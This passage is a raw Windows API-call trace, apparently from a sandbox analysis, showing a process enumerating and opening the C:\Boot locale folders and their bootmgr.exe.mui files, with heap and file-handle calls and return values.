returned 1 [0227.239] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.239] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.239] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.240] GetLastError () returned 0x12 [0227.243] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.243] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.244] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.251] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.251] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0227.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.251] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.268] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.272] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.272] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.282] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.282] NtClose (Handle=0x1ac) returned 0x0 [0227.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.283] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.294] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.294] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.294] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.294] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3ec8 [0227.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4dc0 [0227.294] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.294] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.294] GetLastError () returned 0x12 [0227.295] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.295] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.295] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.295] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.295] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.295] GetLastError () returned 0x12 [0227.295] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.295] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.295] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.295] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.295] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0227.295] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.295] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.295] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0227.296] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.296] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.296] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.296] NtClose (Handle=0x170) returned 0x0 [0227.296] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.296] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.296] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.296] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.296] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.296] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3ee8 [0227.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4e48 [0227.296] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.296] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.296] GetLastError () returned 0x12 [0227.296] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.297] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.297] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.297] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.297] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.297] GetLastError () returned 0x12 [0227.297] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.297] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.297] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.297] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.297] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0227.297] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.297] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.472] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.472] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.472] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.472] NtClose (Handle=0x1ac) returned 0x0 [0227.472] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.472] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.472] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.472] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.473] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3f08 [0227.473] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4ed0 [0227.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.473] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.473] GetLastError () returned 0x12 [0227.473] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.473] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.473] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.473] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.473] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.473] GetLastError () returned 0x12 [0227.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.473] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.473] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.474] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0227.474] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.474] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, 